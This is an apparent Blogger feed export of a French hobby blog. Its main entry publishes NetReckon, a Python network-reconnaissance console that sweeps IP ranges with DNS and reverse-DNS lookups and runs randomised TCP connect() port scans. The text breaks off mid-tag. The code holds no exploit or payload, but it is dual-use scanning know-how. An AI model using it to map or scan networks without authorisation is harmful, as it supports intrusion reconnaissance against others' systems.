<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4320448935124036366</id><updated>2011-11-28T00:29:03.734+01:00</updated><title type='text'>Still indee' velopment</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>41</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-1058436925922975843</id><published>2009-01-19T18:37:00.004+01:00</published><updated>2009-01-19T18:52:48.534+01:00</updated><title type='text'>UNIX JUNKIES</title><content type='html'>Hello,&lt;br /&gt;&lt;br /&gt;je termine ce blog par ce message pour vous annoncer l'ouverture de &lt;a href="http://www.unix-junkies.org"&gt;www.unix-junkies.org&lt;/a&gt;, un espace commun à Kbok et moi où stocker billets, projets et liens divers.&lt;br /&gt;Au plaisir de vous y retrouver!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.unix-junkies.org"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 55px;" src="http://2.bp.blogspot.com/_ch7WAv-Jmeo/SXS9m9fMFtI/AAAAAAAAAMw/Wcqpi-j3qf0/s320/uj.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293063939105232594" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-1058436925922975843?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/1058436925922975843/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=1058436925922975843&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1058436925922975843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1058436925922975843'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2009/01/unix-junkies.html' title='UNIX JUNKIES'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_ch7WAv-Jmeo/SXS9m9fMFtI/AAAAAAAAAMw/Wcqpi-j3qf0/s72-c/uj.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-6214037870905390705</id><published>2008-11-18T22:21:00.002+01:00</published><updated>2008-11-18T22:52:06.493+01:00</updated><title type='text'>Network recon</title><content type='html'>&lt;p align="justify"&gt;Voici un petit morceau de python pour tenir un peu le choc face à une météo pourrie et une fatigue très en forme (hein??)&lt;/p&gt;&lt;p align="justify"&gt;Il s'agit d'un petit shell permettant d'effectuer simplement des opérations de découverte réseau. Il a été volontairement limité à une version sans RAW_SOCKET, le but étant de découvrir un réseau sans droit root sur aucune machine. Son utilisation et son code sont relativement simples. Je me suis un peu inspiré de la console de metasploit dans l'esprit.&lt;/p&gt;&lt;p align="justify"&gt;Je vous laisse découvrir. La commande help ou la lecture du code vous guidera entre les écailles du Python (merci).&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/env python&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# Netreckon is a discovery shell designed to help&lt;br /&gt;# a user to map an unknown IP network using &lt;br /&gt;# several techniques&lt;br /&gt;#&lt;br /&gt;# Some parts inspired from a sample code from James Thiele&lt;br /&gt;# available here : http://www.eskimo.com/~jet/python/examples/cmd/console.py&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;# Copyright (c) 2008, Hth&lt;br /&gt;# All rights reserved.&lt;br /&gt;#&lt;br /&gt;# Redistribution and use in source and binary forms, with or without modification, &lt;br /&gt;# are permitted provided that the following conditions are met:&lt;br /&gt;#&lt;br /&gt;#    * Redistributions of source code must retain the above copyright notice,&lt;br /&gt;#       this list of conditions and the following disclaimer.&lt;br /&gt;#    * Redistributions in binary form must reproduce the above copyright notice,&lt;br /&gt;#       this list of conditions and the following disclaimer in the documentation&lt;br /&gt;#       and/or other materials provided with the distribution.&lt;br /&gt;#    * Neither the name of the Hth nor the names of its contributors &lt;br /&gt;#       may be used to endorse or promote products derived from this &lt;br /&gt;#       software without specific prior written permission.&lt;br /&gt;#&lt;br /&gt;# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, &lt;br /&gt;# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.&lt;br /&gt;# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,&lt;br /&gt;# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;&lt;br /&gt;# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, &lt;br /&gt;# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;import os&lt;br /&gt;import sys&lt;br /&gt;import cmd&lt;br /&gt;import time&lt;br /&gt;import random&lt;br /&gt;import socket&lt;br /&gt;# The following 'readline' module provides some bash like shortcuts&lt;br /&gt;import readline&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# No default timeout else...&lt;br /&gt;socket.setdefaulttimeout( 1.0 )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Global variables are all stored there to avoid conflicts&lt;br /&gt;global_vars = {&lt;br /&gt;    # Software version&lt;br /&gt;    'version'       :   '0.1 dev',&lt;br /&gt;    # Author&lt;br /&gt;    'author'        :   'Hth networks'&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class NetReckon:&lt;br /&gt;    """&lt;br /&gt;    Higher level stuff which reates the console&lt;br /&gt;    the user can see launching the script&lt;br /&gt;    """&lt;br /&gt;    def __init__( self ):&lt;br /&gt;        """&lt;br /&gt;        shell initialization&lt;br /&gt;        """&lt;br /&gt;        # launch console&lt;br /&gt;        console = NetReckonConsole()&lt;br /&gt;        try:&lt;br /&gt;            console.cmdloop()&lt;br /&gt;        except:&lt;br /&gt;            self.exit_failure()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def exit_failure( self ):&lt;br /&gt;        """ Exit with return code 1 """&lt;br /&gt;        sys.exit( 1 )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class NetReckonConsole( cmd.Cmd ):&lt;br /&gt;    """&lt;br /&gt;    Perform reckon actions according&lt;br /&gt;    to user's inputs&lt;br /&gt;    (interactive console)&lt;br /&gt;    """&lt;br /&gt;&lt;br /&gt;    def __init__( self ):&lt;br /&gt;        """&lt;br /&gt;        startup actions engine&lt;br /&gt;        """&lt;br /&gt;        cmd.Cmd.__init__( self )&lt;br /&gt;        self.prompt = '&gt;&gt; '&lt;br /&gt;        self.intro  = """&lt;br /&gt;NetReckon &lt; interactive user network recon console &gt;&lt;br /&gt;&lt;br /&gt;---[ %s ]&lt;br /&gt;---[ %s ]&lt;br /&gt;&lt;br /&gt;* Starting session at %s *&lt;br /&gt;"""%( global_vars['version'], global_vars['author'], time.ctime() ) # As mentionned above, we insert version, author handle and actual date&lt;br /&gt;        # user defined variables are stored there to be used as arguments by actions&lt;br /&gt;        self.userVariables = {}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_set( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        set a variable to a supplied value&lt;br /&gt;        &lt;netreckon built in function&gt;&lt;br /&gt;        """&lt;br /&gt;        arglist = argstr.split()    # Convert arguments from a string to a list&lt;br /&gt;        if len( arglist ) == 2:&lt;br /&gt;            self.userVariables[arglist[0]] = arglist[1]&lt;br /&gt;        else:&lt;br /&gt;            print 'Incorrect syntax!'&lt;br /&gt;            print '&gt;&gt; set &lt;var&gt; &lt;value&gt;'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_set( self ):&lt;br /&gt;        """&lt;br /&gt;        Help about the `set` method&lt;br /&gt;        """&lt;br /&gt;        print 'Create (or change the value of) a variable'&lt;br /&gt;        print 'set &lt;var&gt; &lt;value&gt;'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_unset( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        unset a variable in the list&lt;br /&gt;        """&lt;br /&gt;        if self.userVariables.has_key( argstr ):&lt;br /&gt;            try:&lt;br /&gt;                del self.userVariables[argstr]&lt;br /&gt;            except:&lt;br /&gt;                print 'Incorrect syntax!'&lt;br /&gt;                print 'unset &lt;var&gt;'&lt;br /&gt;        else:&lt;br /&gt;            print 'Unknown variable supplied : %s'%argstr&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_unset( self ):&lt;br /&gt;        """&lt;br /&gt;        help about the `unset` method&lt;br /&gt;        """&lt;br /&gt;        print 'Delete a previously defined variable'&lt;br /&gt;        print 'unset &lt;var&gt;'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_show( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        show stored variables&lt;br /&gt;        """&lt;br /&gt;        print 'User variables :\n'&lt;br /&gt;        for entry in self.userVariables.keys():&lt;br /&gt;            print '%s\t%s'%(entry, self.userVariables[entry])&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_show( self ):&lt;br /&gt;        """&lt;br /&gt;        help about the `show` method&lt;br /&gt;        """&lt;br /&gt;        print 'print out stored variables names and values'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_exit( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        exit netreckon&lt;br /&gt;        """&lt;br /&gt;        sys.exit( argstr )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_exit( self ):&lt;br /&gt;        """&lt;br /&gt;        help about he `exit` method (...)&lt;br /&gt;        """&lt;br /&gt;        print 'Exit netreckon'&lt;br /&gt;        print 'A message or a return code can be supplied as an argument :'&lt;br /&gt;        print 'exit -1'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    #-- Command definitions to support Cmd object functionality --#&lt;br /&gt;    def do_shell( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        execute a shell command&lt;br /&gt;        """&lt;br /&gt;        os.system( argstr )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_EOF( self, args ):&lt;br /&gt;        """&lt;br /&gt;        Exit on system end of file character&lt;br /&gt;        """&lt;br /&gt;        return self.do_exit( args )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def emptyline( self ):&lt;br /&gt;        """&lt;br /&gt;        Do nothing on empty input line&lt;br /&gt;        """&lt;br /&gt;        pass&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_help( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        print out help on demand&lt;br /&gt;        """&lt;br /&gt;        cmd.Cmd.do_help( self, argstr )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_help( self ):&lt;br /&gt;        """&lt;br /&gt;        do we really have to explain this sir?&lt;br /&gt;        """&lt;br /&gt;        print 'print stuff like this one'&lt;br /&gt;&lt;br /&gt;    #-- ------- ----------- -- ------- --- ------ ------------- --#&lt;br /&gt;    #-- Override methods in Cmd object --#&lt;br /&gt;&lt;br /&gt;    def preloop( self ):&lt;br /&gt;        """&lt;br /&gt;        Called just before the main loop starts.&lt;br /&gt;        Call the initial preloop() and prepare variable dicts&lt;br /&gt;        to let user execute some python code later&lt;br /&gt;        """&lt;br /&gt;        cmd.Cmd.preloop( self )   # sets up command completion&lt;br /&gt;        self._locals  = {}&lt;br /&gt;        self._globals = {}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def postloop( self ):&lt;br /&gt;        """&lt;br /&gt;        Finish everything that has to be&lt;br /&gt;        """&lt;br /&gt;        cmd.Cmd.postloop( self )   # Clean up command completion&lt;br /&gt;        print ''&lt;br /&gt;    #-- -------- ------- -- --- ------ --#&lt;br /&gt;&lt;br /&gt;    def do_python( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        Execute the command as python code&lt;br /&gt;        """&lt;br /&gt;        try:&lt;br /&gt;            exec( argstr ) in self._locals, self._globals&lt;br /&gt;        except Exception, e:&lt;br /&gt;            print e.__class__, ":", e&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_python( self ):&lt;br /&gt;        """&lt;br /&gt;        Help about the `python` command&lt;br /&gt;        """&lt;br /&gt;        print 'Execute the line as python code.'&lt;br /&gt;        print 'A context of variables is maintained separately'&lt;br /&gt;        print 'from the `set` variables for python code'&lt;br /&gt;        print 'eg. python a=2; print a'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    ## DNS Resolution&lt;br /&gt;&lt;br /&gt;    def do_dns( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        Find out IP address of a known hostname&lt;br /&gt;        """&lt;br /&gt;        arglist = argstr.split()&lt;br /&gt;        resolver = DnsResolver()&lt;br /&gt;&lt;br /&gt;        if len( arglist ) &gt;= 1:&lt;br /&gt;            resolver.do_dns_resolution( arglist )&lt;br /&gt;        else:&lt;br /&gt;            print 'dns &lt;hostname 0&gt; &lt;hostname 1&gt; ...'&lt;br /&gt;      &lt;br /&gt;&lt;br /&gt;    def help_dns( self ):&lt;br /&gt;        """&lt;br /&gt;        Provide help concerning `dns` instruction&lt;br /&gt;        """&lt;br /&gt;        print 'Try to resolve hostname(s) into IP addresses'&lt;br /&gt;        print 'dns &lt;hotsname0&gt; &lt;hotname1&gt; ...'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    ## Reverse DNS Resolution&lt;br /&gt;    def do_revdns( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        Perform reverse DNS requests&lt;br /&gt;        to discover a network&lt;br /&gt;        """&lt;br /&gt;        ip_range = ''&lt;br /&gt;&lt;br /&gt;        # Can be called without argument if NETWORK has been set&lt;br /&gt;        if argstr != '':&lt;br /&gt;            ip_range = argstr&lt;br /&gt;        elif self.userVariables.has_key( 'NETWORK' ):&lt;br /&gt;            ip_range = self.userVariables['NETWORK']&lt;br /&gt;        else:&lt;br /&gt;            # else exit function&lt;br /&gt;            print 'No argument supplied'&lt;br /&gt;            self.help_revdns()&lt;br /&gt;            return&lt;br /&gt;&lt;br /&gt;        # Do reverse DNS resolution once arguments are parsed&lt;br /&gt;        resolver = DnsResolver()&lt;br /&gt;        resolver.do_reverse_dns_resolution( ip_range )&lt;br /&gt;&lt;br /&gt;            &lt;br /&gt;    def help_revdns( self ):&lt;br /&gt;        """&lt;br /&gt;        Provide some help for the `revdns` instruction&lt;br /&gt;        """&lt;br /&gt;        print 'Try to resolve IP addresses into hostnames'&lt;br /&gt;        print 'both syntaxes are recognized :'&lt;br /&gt;        print 'revdns 192.168.1.1-5'&lt;br /&gt;        print 'and'&lt;br /&gt;        print 'set NETWORK 192.0-75.0-255.0-255'&lt;br /&gt;        print 'revdns'&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;    ## TCP connect() scan&lt;br /&gt;    def do_scantcp( self, argstr ):&lt;br /&gt;        """&lt;br /&gt;        scan for open tcp ports of a given host&lt;br /&gt;        """&lt;br /&gt;        if argstr != '':&lt;br /&gt;            ip_range = argstr&lt;br /&gt;        elif self.userVariables.has_key( 'TARGET' ):&lt;br /&gt;            ip_range = self.userVariables['TARGET']&lt;br /&gt;        else:&lt;br /&gt;            print 'No argument supplied'&lt;br /&gt;            self.help_scantcp()&lt;br /&gt;            return&lt;br /&gt;&lt;br /&gt;        scan = PortScanner()&lt;br /&gt;        if self.userVariables.has_key( 'PORTS' ):&lt;br /&gt;            scan.parse_port_sequence( self.userVariables['PORTS'] )&lt;br /&gt;        scan.connect_scan( ip_range )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def help_scantcp( self ):&lt;br /&gt;        """&lt;br /&gt;        Provide some help for the `scantcp` instruction&lt;br /&gt;        """&lt;br /&gt;        print 'perform a tcp connect() scan against target(s)'&lt;br /&gt;        print 'in order to find out open ports'&lt;br /&gt;        print 'You can set the PORTS variable to specify ports to scan'&lt;br /&gt;        print '(eg. set PORTS 21-90)'&lt;br /&gt;        print 'Targets can follow the instruction this way : '&lt;br /&gt;        print 'scantcp 192.168.1.0-5'&lt;br /&gt;        print 'or using the TARGET variable'&lt;br /&gt;        print 'set TARGET 192.168.1.0-5'&lt;br /&gt;        print 'scantcp'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class DnsResolver:&lt;br /&gt;    """&lt;br /&gt;    Perform DNS operations&lt;br /&gt;    on ranges of IP addresses&lt;br /&gt;    """&lt;br /&gt;    def __init__( self ):&lt;br /&gt;        pass&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;    def do_dns_resolution( self, hostnames ):&lt;br /&gt;        """&lt;br /&gt;        Find out IP address of a known hostname&lt;br /&gt;        """&lt;br /&gt;        for hostname in hostnames:&lt;br /&gt;            try:&lt;br /&gt;                print '\t%-25s\t\t%s'%( hostname, socket.gethostbyname( hostname ) )&lt;br /&gt;            except:&lt;br /&gt;                print '\t%-25s\t\t(unknown host)'%hostname&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def do_reverse_dns_resolution( self, addresses ):&lt;br /&gt;        """&lt;br /&gt;        Perform reverse DNS requests&lt;br /&gt;        to discover a network&lt;br /&gt;        """&lt;br /&gt;        addressesRange = AddrExtract( addresses )&lt;br /&gt;        while True:&lt;br /&gt;            addr = addressesRange.next()&lt;br /&gt;            if addr == '':&lt;br /&gt;                break&lt;br /&gt;            try:&lt;br /&gt;                host = socket.gethostbyaddr( addr )&lt;br /&gt;                print '\t%s\t\t%s'%( addr, host[0] )&lt;br /&gt;            except:&lt;br /&gt;                continue&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class PortScanner:&lt;br /&gt;    """&lt;br /&gt;    Perform basic port scanning&lt;br /&gt;    using tcp connect() scan.&lt;br /&gt;    Parse and randomize ranges of ports&lt;br /&gt;    """&lt;br /&gt;    def __init__( self ):&lt;br /&gt;        """&lt;br /&gt;        Set properties to their default values&lt;br /&gt;        """&lt;br /&gt;        # default behavior is to scan the whole ports range&lt;br /&gt;        self.portList = range( 1, 65535 + 1 )&lt;br /&gt;        # used to print out open ports in a clean way&lt;br /&gt;        self.openPorts = []&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def parse_port_sequence( self, portSeqStr ):&lt;br /&gt;        """&lt;br /&gt;        build a list of ports to scan&lt;br /&gt;        from a string like 21,22,42-80&lt;br /&gt;        """&lt;br /&gt;        # erase whatever has been saved before&lt;br /&gt;        self.portList = []&lt;br /&gt;        tmpList       = []&lt;br /&gt;        for token in portSeqStr.split( ',' ):&lt;br /&gt;            tmpList.append( token )&lt;br /&gt;        for elt in tmpList:&lt;br /&gt;            if elt.count( '-' ) == 1:&lt;br /&gt;                for port in self.__get_ports_from_range( elt ):&lt;br /&gt;                    self.portList.append( port )&lt;br /&gt;            else:&lt;br /&gt;                try:&lt;br /&gt;                    self.portList.append( int( elt ) )&lt;br /&gt;                except:&lt;br /&gt;                    print 'Invalid port supplied %s'%elt&lt;br /&gt;                    continue&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def __get_ports_from_range( self, portRange ):&lt;br /&gt;        """&lt;br /&gt;        convert a string like 1-5&lt;br /&gt;        to a list of ports ( [1, 2, 3, 4, 5] )&lt;br /&gt;&lt;br /&gt;        &lt;internal&gt;&lt;br /&gt;        """&lt;br /&gt;        tmpRange = []&lt;br /&gt;        try:&lt;br /&gt;            # split string into start and stop values&lt;br /&gt;            subRange = portRange.split( '-' )&lt;br /&gt;            start = int( subRange[0] )&lt;br /&gt;            stop  = int( subRange[1] ) + 1&lt;br /&gt;            # and add each port included between&lt;br /&gt;            for port in range( start, stop ):&lt;br /&gt;                tmpRange.append( port )&lt;br /&gt;        except:&lt;br /&gt;            # empty list is returned if an exception occurs&lt;br /&gt;            tmpRange = []&lt;br /&gt;        finally:&lt;br /&gt;            # list is returned whatever happens&lt;br /&gt;            return tmpRange&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def connect_scan( self, targets ):&lt;br /&gt;        """&lt;br /&gt;        Scan every host in a range of IP addresses&lt;br /&gt;        """&lt;br /&gt;        addressesRange = AddrExtract( targets )&lt;br /&gt;        if addressesRange != None:&lt;br /&gt;            while True:  &lt;br /&gt;                addr = addressesRange.next()&lt;br /&gt;                if addr == '':&lt;br /&gt;                    break&lt;br /&gt;                try:&lt;br /&gt;                    self.scan_host( addr )&lt;br /&gt;                except:&lt;br /&gt;                    continue&lt;br /&gt;        else:&lt;br /&gt;            print 'Invalid IP range supplied!'&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def scan_host( self, target ):&lt;br /&gt;        """&lt;br /&gt;        Perform tcp connect() scan&lt;br /&gt;        """&lt;br /&gt;        random.shuffle( self.portList )&lt;br /&gt;        self.openPorts = []&lt;br /&gt;&lt;br /&gt;        for probedPort in self.portList:&lt;br /&gt;            s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )&lt;br /&gt;            try:&lt;br /&gt;                s.connect( ( target, probedPort ) )&lt;br /&gt;                self.openPorts.append( probedPort )&lt;br /&gt;            except socket.error:&lt;br /&gt;                pass&lt;br /&gt;            finally:&lt;br /&gt;                s.close()&lt;br /&gt;        # Once this is done :&lt;br /&gt;        self.__print_results( target )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def __print_results( self, target ):&lt;br /&gt;        """&lt;br /&gt;        print out the list of open ports for scanned host&lt;br /&gt;        """&lt;br /&gt;        print 'Open (tcp) ports on %s :'%( target )&lt;br /&gt;        print '( %i probed and %i found open )'%( len( self.portList ), len( self.openPorts ) )&lt;br /&gt;        self.openPorts.sort()&lt;br /&gt;        if len( self.openPorts ) == 0:&lt;br /&gt;            print '&lt;none&gt;'&lt;br /&gt;        for port in self.openPorts:&lt;br /&gt;            print 'Port %i open'%port&lt;br /&gt;        print ''&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class AddrExtract:&lt;br /&gt;    """&lt;br /&gt;    find out every IP addresses&lt;br /&gt;    in a memory efficient way&lt;br /&gt;    from a string describing ranges of&lt;br /&gt;    addresses like 192.168.0-5.0.255&lt;br /&gt;    """&lt;br /&gt;    def __init__( self, input ):&lt;br /&gt;        """&lt;br /&gt;        extracter startup&lt;br /&gt;        """&lt;br /&gt;        self.addressesParts = {&lt;br /&gt;            'A' :   {&lt;br /&gt;                'start' :   0,&lt;br /&gt;                'stop'  :   0&lt;br /&gt;            },&lt;br /&gt;            'B' :   {&lt;br /&gt;                'start' :   0,&lt;br /&gt;                'stop'  :   0&lt;br /&gt;            },&lt;br /&gt;            'C' :   {&lt;br /&gt;                'start' :   0,&lt;br /&gt;                'stop'  :   0&lt;br /&gt;            },&lt;br /&gt;            'D' :   {&lt;br /&gt;                'start' :   0,&lt;br /&gt;                'stop'  :   0&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        self.stringRange = input&lt;br /&gt;        self.nextAddress = ''&lt;br /&gt;        if not self.split_string():&lt;br /&gt;            self.reset_all()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def split_string( self ):&lt;br /&gt;        """&lt;br /&gt;        split input string into&lt;br /&gt;        4 parts of IP addresses&lt;br /&gt;        """&lt;br /&gt;        parts = self.stringRange.split( '.' )&lt;br /&gt;        # Number of fields must be 4 (IPv4 only...)&lt;br /&gt;        if len( parts ) != 4:&lt;br /&gt;            print 'Invalid IPv4 addresses range supplied : %s'%self.stringRange&lt;br /&gt;            return False&lt;br /&gt;        # Get ranges supplied in each field&lt;br /&gt;        for i in ['A', 'B', 'C', 'D']:&lt;br /&gt;            try:&lt;br /&gt;                self.addressesParts[i]['start'] = int( parts[ord(i) - ord('A')] ) # this is not a C program??&lt;br /&gt;                # On the following line we assign the starting value to the 'stop' field if the address field has not be specified as a range&lt;br /&gt;                # (otherwise an exception would have been raised above)&lt;br /&gt;                self.addressesParts[i]['stop']  = self.addressesParts[i]['start']&lt;br /&gt;            except:&lt;br /&gt;                try:&lt;br /&gt;                    start, stop = parts[ord(i) - ord('A')].split( '-' )&lt;br /&gt;                    self.addressesParts[i]['start'] = int( start )&lt;br /&gt;                    self.addressesParts[i]['stop'] = int( stop )&lt;br /&gt;                except:&lt;br /&gt;                    print 'Invalid IPv4 addresses range supplied : %s'%self.stringRange&lt;br /&gt;                    return False&lt;br /&gt;        # Check computed values&lt;br /&gt;        if not self.check_addresses_range_values():&lt;br /&gt;            return False&lt;br /&gt;        # If we are there, then assume it's OK&lt;br /&gt;        return True&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def check_addresses_range_values( self ):&lt;br /&gt;        """&lt;br /&gt;        Are supplied values Ok for IP addresses ?&lt;br /&gt;        """&lt;br /&gt;        for k in self.addressesParts.keys():&lt;br /&gt;            if self.addressesParts[k]['start'] not in range(0, 256):&lt;br /&gt;                print 'Invalid addresses Range supplied : %s'%self.stringRange&lt;br /&gt;                return False&lt;br /&gt;            if self.addressesParts[k]['stop'] not in range(0, 256):&lt;br /&gt;                print 'Invalid addresses Range supplied : %s'%self.stringRange&lt;br /&gt;                return False&lt;br /&gt;        return True&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def reset_all( self ):&lt;br /&gt;        """&lt;br /&gt;        Reset every field of addressesParts&lt;br /&gt;        to zero&lt;br /&gt;        """&lt;br /&gt;        for key in self.addressesParts.keys():&lt;br /&gt;            for entry in self.addressesParts[key].keys():&lt;br /&gt;                self.addressesParts[key][entry] = 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def next( self ):&lt;br /&gt;        """&lt;br /&gt;        return the next IP address of the range&lt;br /&gt;        without storing the whole list of addresses&lt;br /&gt;        contained in this range&lt;br /&gt;        """&lt;br /&gt;        # On first call&lt;br /&gt;        if self.nextAddress == '':&lt;br /&gt;            # Writing the first IP address of the range using format string and computed values&lt;br /&gt;            self.nextAddress = '%i.%i.%i.%i'%( &lt;br /&gt;                    self.addressesParts['A']['start'], &lt;br /&gt;                    self.addressesParts['B']['start'], &lt;br /&gt;                    self.addressesParts['C']['start'], &lt;br /&gt;                    self.addressesParts['D']['start'] )&lt;br /&gt;            # Catch some misinitializations...&lt;br /&gt;            if self.nextAddress == '0.0.0.0':&lt;br /&gt;                return ''&lt;br /&gt;            else:&lt;br /&gt;                return self.nextAddress&lt;br /&gt;        # For following calls&lt;br /&gt;        a, b, c, d = self.nextAddress.split( '.' )&lt;br /&gt;        a = int( a )&lt;br /&gt;        b = int( b )&lt;br /&gt;        c = int( c )&lt;br /&gt;        d = int( d )&lt;br /&gt;        # The big if - then - else labyrinth...&lt;br /&gt;        if d &lt; self.addressesParts['D']['stop']:&lt;br /&gt;            d += 1&lt;br /&gt;        else:&lt;br /&gt;            d = self.addressesParts['D']['start']&lt;br /&gt;            if c &lt; self.addressesParts['C']['stop']:&lt;br /&gt;                c += 1&lt;br /&gt;            else:&lt;br /&gt;                c = self.addressesParts['C']['start']&lt;br /&gt;                if b &lt; self.addressesParts['B']['stop']:&lt;br /&gt;                    b += 1&lt;br /&gt;                else:&lt;br /&gt;                    b = self.addressesParts['B']['start']&lt;br /&gt;                    if a &lt; self.addressesParts['A']['stop']:&lt;br /&gt;                        a += 1&lt;br /&gt;                    else:&lt;br /&gt;                        return ''&lt;br /&gt;&lt;br /&gt;        self.nextAddress = '%i.%i.%i.%i'%( a, b, c, d )&lt;br /&gt;        return self.nextAddress&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 